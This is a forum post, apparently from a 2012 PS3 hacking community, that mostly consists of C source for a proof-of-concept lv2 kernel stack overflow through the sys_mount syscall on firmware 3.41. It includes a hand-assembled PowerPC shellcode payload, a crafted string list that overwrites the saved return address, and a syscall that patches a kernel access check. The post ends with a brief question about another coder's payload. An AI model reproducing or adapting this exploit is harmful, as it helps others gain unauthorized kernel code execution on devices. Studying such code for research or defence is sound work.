View Single Post
Old 09-20-2012   #4
DEFAULTDNB
 
DEFAULTDNB's Avatar
 
Join Date: Mar 2012
Posts: 8,859
Likes: 6,244
Liked 3,803 Times in 2,470 Posts
Mentioned: 940 Post(s)
Tagged: 0 Thread(s)
Code:
/*
* lv2 sys_mount stack overflow
* Original finder: KaKaRoTo (thank you for pointing it out!)
* Note: all offsets/values/addrs in this source are 3.41 specific
*/

#include <stdio.h>
#include <ppu-types.h>
#include <ppu-lv2.h>

/*
unk2, unk3 is what we're going to use here.
lv2 will handle unk2, unk3 like this:
char *strlist[FIXED_SIZE]; //On stack.
for(i = 0; i < unk3; i++)
	strlist[i] = strdup_from_uspace(*unk2++);
*/
static s64 sys_mount(const char *dev /*r3*/, const char *fs /*r4*/, const char *path /*r5*/, 
	u64 unk0 /*r6*/, u64 wp /*r7*/, u64 unk1 /*r8*/, const char **unk2 /*r9*/, u64 unk3 /*r10*/)
{
	lv2syscall8(837, (u64)dev, (u64)fs, (u64)path, 
		(u64)unk0, (u64)wp, (u64)unk1, (u64)unk2, (u64)unk3);
	return_to_user_prog(s64);
}

//For testing.
static void patch_access_check()
{
	//check_access @ 0x80000000000505D0
	//li r3, 1 ; blr
	lv2syscall2(7, 0x80000000000505D0ULL, 0x386000014E800020ULL);
	printf("[*] DEBUG: access check patched.\n");
}

int main(int argc, const char **argv)
{
	//Problem: The mount syscall needs the 0x40 ctrl flag (root) to be set.
	//Solution: Find a usermode exploit in a SELF that has them set.
	
	//Patch the ctrl flags check for testing.
	patch_access_check();
	
	//Nop.
	char nop[] = "X";
	
	//Payload.
	char payload[] = 
	{
		//Insert valid PPC code here (without 0x00 bytes)
		//and hope lv2 heap 0x27 is executable and 0x04 aligned.
		0x38, 0xE0, 0x7E, 0xF0, //li r7, 0x7EF0
		0x38, 0xE7, 0x01, 0x10, //addi  r7, r7, 0x110
		0x78, 0xE7, 0x83, 0xE4, //sldi  r7, r7, 16
		0x78, 0xE7, 0x07, 0xC6, //sldi  r7, r7, 32
		0x60, 0xE7, 0x91, 0x34, //ori   r7, r7, 0x9134
		0x7C, 0xE9, 0x03, 0xA6, //mtctr r7            ; 0x8000000000009134 (sys_sm_shutdown)
		0x38, 0x60, 0x02, 0x10, //li    r3, 0x210
		0x38, 0x63, 0xFF, 0xF0, //addi  r3, r3, -0x10 ; 0x200 (reboot)
		0x7C, 0x84, 0x22, 0x78, //xor   r4, r4, r4    ; 0
		0x7C, 0xA5, 0x2A, 0x78, //xor   r5, r5, r5    ; 0
		0x7C, 0xC6, 0x32, 0x78, //xor   r6, r6, r6    ; 0
		0x4E, 0x80, 0x04, 0x20, //bctr
		//End of payload.
		0x00
	};
	
	//List containing the entries.
	//stack frame size is 0x1C0
	//strlist = framptr + 0xE0
	//remaining stack frame size is 0xE0 (28 * 8)
	#define LIST_LENGTH (28 + 2 + 1)
	const char *list[LIST_LENGTH] = 
	{
		//-0xE0
		//Overwrite stack with nop entries (0xE0 bytes).
		nop, nop, nop, nop, nop, nop, nop, nop, //0x40
		nop, nop, nop, nop, nop, nop, nop, nop, //0x80
		nop, nop, nop, nop, nop, nop, nop, nop, //0xC0
		nop, nop, nop, nop,
		//0x00
		//Fill 0x10 bytes to reach saved r0.
		nop, nop,
		//+0x10
		//Overwrite saved r0 with a pointer to our payload.
		payload
	};
	
	//Doit!
	printf("[*] Taking the plunge...\n");
	s64 res = sys_mount("FOO", "BAR", "XXX", 0, 0, 0, list, LIST_LENGTH);
	printf("[*] Error: sys_mount returned (res = 0x%016lX).\n", (u64)res);
	
	return 0;
}
Does any of this have anything to do with Naehrwerts coding challenge? Hidden unicorns? Did anyone reverse his payload?

http://www.ps3hax.net/showthread.php?t=40544
__________________
DEFAULTDNB is online now   Reply With Quote